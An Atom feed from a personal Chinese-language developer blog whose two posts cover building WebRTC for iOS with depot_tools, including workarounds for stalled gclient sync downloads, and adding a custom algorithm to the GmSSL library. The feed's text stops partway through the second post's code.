<?xml version="1.0" encoding="utf-8"?>

<feed xmlns="http://www.w3.org/2005/Atom">

<title>32bits</title>

<subtitle>Smart is new sex</subtitle>

<link href="/atom.xml" rel="self"/>

<link href="http://32t.github.io/"/>

<updated>2017-08-31T13:25:56.000Z</updated>

<id>http://32t.github.io/</id>

<author>

<name>Simon</name>

<email>[email protected]</email>

</author>

<generator uri="http://hexo.io/">Hexo</generator>

<entry>

<title>webrtc-ios 编译流程及问题解决</title>

<link href="http://32t.github.io/2017/08/31/webrtc-ios-%E7%BC%96%E8%AF%91%E6%B5%81%E7%A8%8B%E5%8F%8A%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3/"/>

<id>http://32t.github.io/2017/08/31/webrtc-ios-编译流程及问题解决/</id>

<published>2017-08-31T12:58:05.000Z</published>

<updated>2017-08-31T13:25:56.000Z</updated>

<content type="html">&lt;h2 id=&quot;Webrtc-编译&quot;&gt;&lt;a href=&quot;#Webrtc-编译&quot; class=&quot;headerlink&quot; title=&quot;Webrtc 编译&quot;&gt;&lt;/a&gt;Webrtc 编译&lt;/h2&gt;&lt;p&gt;注1：本文档适用webrtc-ios源码的下载和编译；&lt;/p&gt;

&lt;p&gt;注2：下载编译所使用的操作系统为mac 终端;&lt;/p&gt;

&lt;h3 id=&quot;下载编译工具&quot;&gt;&lt;a href=&quot;#下载编译工具&quot; class=&quot;headerlink&quot; title=&quot;下载编译工具&quot;&gt;&lt;/a&gt;下载编译工具&lt;/h3&gt;&lt;p&gt;Chromium和Chromium OS统一使用一个叫做depot_tools的工具的对其源码进行checkout的管理（这有点类似于Android使用repo工具对其源码进行管理一样），作为Chromium其中一个子模块的webrtc而言，也是使用这个工具对其代码进行checkout。这个depot_rools包里面包含了gclient、gcl、git-cl、repo等工具。&lt;/p&gt;

&lt;p&gt;下载depot_tools工具包并放到标准路径PATH上：&lt;br&gt;首先确保mac上安装了Git 2.2.1以上版本，以及Python 2.7以上版本；&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;p&gt;修改root目录中的.bash_profile文件，.bash_profile文件是一个隐藏文件，可在root目录下使用命令ls -a将隐藏文件显示出来，然后vi .bash_profile 进行编辑，增加：export PATH=$PATH:‘pwd’/depot_tools:$PATH，然后按Esc + shift + 冒号，输入wq，进行保存。注意一定要把depot_tools的位置放在PATH的最前面；&lt;/p&gt;

&lt;p&gt;参考：&lt;a href=&quot;https://dev.chromium.org/developers/how-tos/install-depot-tools&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://dev.chromium.org/developers/how-tos/install-depot-tools&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;下载-webrtc-源代码&quot;&gt;&lt;a href=&quot;#下载-webrtc-源代码&quot; class=&quot;headerlink&quot; title=&quot;下载 webrtc 源代码&quot;&gt;&lt;/a&gt;下载 webrtc 源代码&lt;/h3&gt;&lt;p&gt;下载webrtc-ios代码及编译流程（首先要先按照以上步骤下载depot_tools ）：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;mkdir webrtc-ios&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;cd webrtc-ios&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;fetch --nohooks webrtc_ios&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;gclient sync//代码下载过程中如果发生中断，使用gclient sync同步就可以了&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;编译Mac OS AppRTCMobile&lt;/li&gt;

&lt;/ol&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;gn gen out/Debug&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;ninja -C out/Debug&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;ol&gt;

&lt;li&gt;编译64位真机 AppRTCMobile&lt;/li&gt;

&lt;/ol&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;gn gen out/ios_64 --args=&amp;apos;target_os=&amp;quot;ios&amp;quot; target_cpu=&amp;quot;arm64&amp;quot;&amp;apos;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;ninja -C out/ios_64&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;WebRTC代码后期更新的三种方式（在src目录下）：&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;&lt;p&gt;当前代码在某个分支下进行维护，使用git pull可以拉取远程仓库的最新更新；&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;当前代码不在分支下，使用git fetch取下来最新的git仓库更新；&lt;/p&gt;

&lt;/li&gt;

&lt;li&gt;&lt;p&gt;需要定期更新依赖或者其他第三方库，使用gclient sync命令；&lt;/p&gt;

&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;参考：&lt;a href=&quot;https://webrtc.org/native-code/ios/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://webrtc.org/native-code/ios/&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;附录：&quot;&gt;&lt;a href=&quot;#附录：&quot; class=&quot;headerlink&quot; title=&quot;附录：&quot;&gt;&lt;/a&gt;附录：&lt;/h2&gt;&lt;ol&gt;

&lt;li&gt;webrtc-ios版本下载过程中 $ gclient sync时出现的问题&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;问题描述：&lt;/p&gt;

&lt;p&gt;出现Hook ‘download_from_google_storage –directory –recursive –num_threads=10 –no_auth –quiet –bucket chromium-webrtc-resources src/resources’ took 8760.95 secs 后，不执行了。&lt;/p&gt;

&lt;p&gt;解决办法：&lt;/p&gt;

&lt;p&gt;找到src/DEPS文件，将下面这几行代码注释掉&lt;/p&gt;

&lt;figure class=&quot;highlight bash&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;comment&quot;&gt;# Download test resources, i.e. video and audio files from Google Storage.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;pattern&#39;&lt;/span&gt;: &lt;span class=&quot;string&quot;&gt;&#39;.&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;action&#39;&lt;/span&gt;: [&lt;span class=&quot;string&quot;&gt;&#39;download_from_google_storage&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;--directory&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;--recursive&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;--num_threads=10&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;--no_auth&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;--quiet&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;--bucket&#39;&lt;/span&gt;, &lt;span class=&quot;string&quot;&gt;&#39;chromium-webrtc-resources&#39;&lt;/span&gt;,&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;span class=&quot;string&quot;&gt;&#39;src/resources&#39;&lt;/span&gt;]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;,&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;ol&gt;

&lt;li&gt;下载代码过程中遇到如下错误：&lt;/li&gt;

&lt;/ol&gt;

&lt;figure class=&quot;highlight bash&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;________ running &lt;span class=&quot;string&quot;&gt;&#39;download_from_google_storage --no_resume --platform=darwin --no_auth --bucket chromium-gn -s src/buildtools/mac/gn.sha1&#39;&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&#39;/Users/simon/webrtc&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;Failed to fetch file gs://chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b &lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt; src/buildtools/mac/gn. [Err: /Library/Python/2.7/site-packages/cryptography/hazmat/backends/__init__.py:7: UserWarning: Module six was already imported from /Users/simon/code/depot_tools/external_bin/gsutil/gsutil_4.26/gsutil/third_party/six/six.py, but /Library/Python/2.7/site-packages/six-1.10.0-py2.7.egg is being added to sys.path&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;将gs://chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b中的 gs替换为 &lt;a href=&quot;https://storage.googleapis.com/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://storage.googleapis.com/&lt;/a&gt; 就可以直接在浏览器下载了。前提当然是你还开着翻墙代理。所以任务就变成了下载下面这个地址的文件到刚刚那个目录。&lt;br&gt;&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;https:&lt;span class=&quot;comment&quot;&gt;//storage.googleapis.com/chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;下载 clang 等文件出错&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;可以在 bash 中设置代理来解决&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;gclient sync长时间不响应&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;遇到如下情况长时间不响应&lt;/p&gt;

&lt;figure class=&quot;highlight bash&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;________ running &lt;span class=&quot;string&quot;&gt;&#39;download_from_google_storage --no_resume --platform=darwin --no_auth --bucket chromium-luci -d src/tools/luci-go/mac64&#39;&lt;/span&gt; &lt;span class=&quot;keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;string&quot;&gt;&#39;/Users/simon/webrtc&#39;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;先到src/tools/luci-go/mac64找对应的 sha1文件，此处为isolate.sha1文件，文件内容为1966687828a068eee4c5da45bbb8afd91cddda6f，这个是对应文件的散列值，也是文件的标识。 google 通过luci-go标识工具的名称，用散列值标识工具的版本。&lt;/p&gt;

&lt;p&gt;然后用luci-go替换下面 url 中的chromium-gn，用 1966687828a068eee4c5da45bbb8afd91cddda6f替换c2c934d4dda1f470a6511b1015dda9a9fb1ce50b，&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;原链接：&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;https://storage.googleapis.com/chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;替换后的链接：&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;https://storage.googleapis.com/chromium-gn/c2c934d4dda1f470a6511b1015dda9a9fb1ce50b&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;从替换后的链接出下载文件到src/tools/luci-go/mac64中，命名为isolate。然后重新执行 gclient sync 即可。&lt;/p&gt;

</content>

<summary type="html">

&lt;h2 id=&quot;Webrtc-编译&quot;&gt;&lt;a href=&quot;#Webrtc-编译&quot; class=&quot;headerlink&quot; title=&quot;Webrtc 编译&quot;&gt;&lt;/a&gt;Webrtc 编译&lt;/h2&gt;&lt;p&gt;注1：本文档适用webrtc-ios源码的下载和编译；&lt;/p&gt;

&lt;p&gt;注2：下载编译所使用的操作系统为mac 终端;&lt;/p&gt;

&lt;h3 id=&quot;下载编译工具&quot;&gt;&lt;a href=&quot;#下载编译工具&quot; class=&quot;headerlink&quot; title=&quot;下载编译工具&quot;&gt;&lt;/a&gt;下载编译工具&lt;/h3&gt;&lt;p&gt;Chromium和Chromium OS统一使用一个叫做depot_tools的工具的对其源码进行checkout的管理（这有点类似于Android使用repo工具对其源码进行管理一样），作为Chromium其中一个子模块的webrtc而言，也是使用这个工具对其代码进行checkout。这个depot_rools包里面包含了gclient、gcl、git-cl、repo等工具。&lt;/p&gt;

&lt;p&gt;下载depot_tools工具包并放到标准路径PATH上：&lt;br&gt;首先确保mac上安装了Git 2.2.1以上版本，以及Python 2.7以上版本；&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

</summary>

<category term="webrtc" scheme="http://32t.github.io/tags/webrtc/"/>

<category term="ios" scheme="http://32t.github.io/tags/ios/"/>

<category term="chromium" scheme="http://32t.github.io/tags/chromium/"/>

<category term="gclient" scheme="http://32t.github.io/tags/gclient/"/>

</entry>

<entry>

<title>GmSSL 添加新算法</title>

<link href="http://32t.github.io/2017/07/16/GmSSL-%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%AE%97%E6%B3%95/"/>

<id>http://32t.github.io/2017/07/16/GmSSL-添加新算法/</id>

<published>2017-07-16T15:07:01.000Z</published>

<updated>2017-07-16T16:08:47.000Z</updated>

<content type="html">&lt;p&gt;最近在做的工作需要给 GMSSL 密码库添加自有的加密算法和 ssl 算法。因此对 GMSSL 做了一些研究，GMSSL 是 OpenSSL 的 一个分支，它增加了包括 SM2、SM3、SM4在内的国密算法，以及国密的 SSL 加密信道，加密套件为 ECDSA-SM2-SM3-SM4。&lt;/p&gt;

&lt;h2 id=&quot;增加算法头文件&quot;&gt;&lt;a href=&quot;#增加算法头文件&quot; class=&quot;headerlink&quot; title=&quot;增加算法头文件&quot;&gt;&lt;/a&gt;增加算法头文件&lt;/h2&gt;&lt;p&gt;算法头文件中包括了我们需要添加的加密算法和 ssl 算法。&lt;/p&gt;

&lt;p&gt;具体需要在include/openssl 目录下新建文件 new_header.h&lt;/p&gt;

&lt;p&gt;在 new_header.h 中定义新的加密算法和 ssl 算法。内容大致如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;int new_crypto();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;int new_ssl();&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;h2 id=&quot;增加密码算法&quot;&gt;&lt;a href=&quot;#增加密码算法&quot; class=&quot;headerlink&quot; title=&quot;增加密码算法&quot;&gt;&lt;/a&gt;增加密码算法&lt;/h2&gt;&lt;p&gt;在 crypto 目录下新建算法目录 new_crypto&lt;br&gt;在 new_crypto 目录下新建文件&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;crypto/new_crypto&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;+-- build.info&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;+-- crypto_src.c&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;build.info 是编译所需的文件，文件内容一般如下所示：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;LIBS=../../libcrypto&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;SOURCE[../../libcrypto]=\&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; crypto_src.c&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;crypto_src.c 为算法的具体代码实现，内容大致如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#include&amp;lt;openssl/new_header.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;int new_crypto()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;h2 id=&quot;增加-ssl-算法文件&quot;&gt;&lt;a href=&quot;#增加-ssl-算法文件&quot; class=&quot;headerlink&quot; title=&quot;增加 ssl 算法文件&quot;&gt;&lt;/a&gt;增加 ssl 算法文件&lt;/h2&gt;&lt;p&gt;在 ssl目录下新建ssl算法代码文件ssl_new.c，内容大致如下：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;#include&amp;lt;openssl/new_header.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;int new_ssl()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;##修改符号文件&lt;br&gt;修改 util/mkdef.pl，在对应代码后添加新增头文件new_header：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;my $ssl=&amp;quot;include/openssl/ssl.h&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;$ssl.=&amp;quot; include/openssl/tls1.h&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;$ssl.=&amp;quot; include/openssl/new_header.h&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span 